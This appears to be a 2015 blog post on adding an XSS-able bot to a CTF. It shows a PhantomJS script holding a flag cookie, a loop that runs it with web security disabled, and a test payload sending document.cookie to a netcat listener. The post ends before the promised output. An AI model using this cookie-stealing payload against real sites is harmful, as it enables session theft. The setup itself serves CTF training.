May 06, 2015

How to add an XSS-able bot to your CTF

During CTF events it can be interesting to provide XSS challenges for players to solve. This post will discuss automating the process of executing user supplied JavaScript - aka running XSS-able bots within a CTF environment.

PhantomJS is a headless WebKit useful for automating tasks such as functional or display testing. Another use we can adapt PhantomJS for is to visit web pages known to contain user supplied JavaScript and executing these payloads.

Once installed, PhantomJS can be run with user supplied JavaScript.

The example script below will visit a known vulnerable URL where CTF players are tasked with exploiting and storing their XSS payload.

var page = require('webpage').create();
var host = "127.0.0.1";
var url = "https://"+host+"/index.php?check-msg";
var timeout = 2000;
phantom.addCookie({
    'name': 'Flag',
    'value': 'CTF{44dc13922a2f0f7a59c5058703fae0b9}',
    'domain': host,
    'path': '/',
    'httponly': false
});
page.onNavigationRequested = function(url, type, willNavigate, main) {
    console.log("[URL] URL="+url);  
};
page.settings.resourceTimeout = timeout;
page.onResourceTimeout = function(e) {
    setTimeout(function(){
        console.log("[INFO] Timeout")
        phantom.exit();
    }, 1);
};
page.open(url, function(status) {
    console.log("[INFO] rendered page");
    setTimeout(function(){
        phantom.exit();
    }, 1);
});

The onResourceTimeout and open functions handle pages where user payloads hang and initial access of the URL respectively.

You will also see the setTimeout function surrounding phantom.exit(). We found during CTFs a timeout was required to ensure all types of XSS payloads (such as complex payloads containing multiple redirects) were executed by PhantomJS - this value may require tweaking for individual circumstances.

Once the above code has been adapted as required, we can call PhantomJS to “XSS itself” continuously.

while sleep 1; do phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any xss-bot.js; done;

Where the command line options permit the following:

  • ignore-ssl-errors: ignores SSL errors, such as expired or self-signed certificate errors;
  • local-to-remote-url-access: allows local content to access remote URL;
  • web-security: enables web security and forbids cross-domain XHR;
  • ssl-protocol: sets the SSL protocol for secure connections.

As an example, once our XSS bot is executing - PhantomJS should show similar output to the following:

For testing purposes, we can inject the following JavaScript into the vulnerable URL PhantomJS is polling:

<script>
new Image().src="http://127.0.0.1:1234/"+(document.cookie);
</script>

Setting up some listener on the required port:

nc -lvp 1234

Once our PhantomJS XSS bot accesses the vulnerable URL and executes our payload, we receive a callback to our listener: